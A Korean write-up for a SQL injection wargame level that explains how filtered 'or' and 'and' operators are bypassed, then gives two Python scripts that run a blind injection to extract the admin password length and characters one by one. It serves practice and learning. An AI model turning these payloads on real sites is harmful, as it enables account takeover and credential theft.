728x90
문제 풀이
1. 기본 필터링 + or , and 연산자 필터링 되어 있음
2. id값은 guest로 고정되어 있음
3. admin의 pw을 블라인드 인젝션으로 구해야 함
필터링을 우회하는 쿼리문을 만들어서 응답 값이 admin이 나오는지 확인
admin의 pw 길이 구하기
# 패스워드 길이 구하는 페이로드
import requests
url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?'
cookie = {"PHPSESSID":"gfat9jgv8umb9sviam5cmjka0b"}
for i in range(1,100):
params = "pw='|| id='admin'%26%26 length(pw)='"+str(i)
response = requests.get(url,params=params,cookies=cookie)
if "Hello admin" in response.text:
print("pwlength :",i)
break
파이썬 코드를 사용해 admin의 pw값을 구해보자.
#admin의 pw값 구하는 페이로드
import requests
import string
url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?'
cookie = {"PHPSESSID":"gfat9jgv8umb9sviam5cmjka0b"}
str_list = string.ascii_letters+string.digits
ch = ''
for i in range(1,9):
for string in str_list:
param = "pw='||id='admin' %26%26 substr(pw,"+str(i)+",1)='"+str(string)
response = requests.get(url,params=param,cookies=cookie)
if "Hello admin" in response.text:
print(i,"번째")
ch += string
print(ch)
break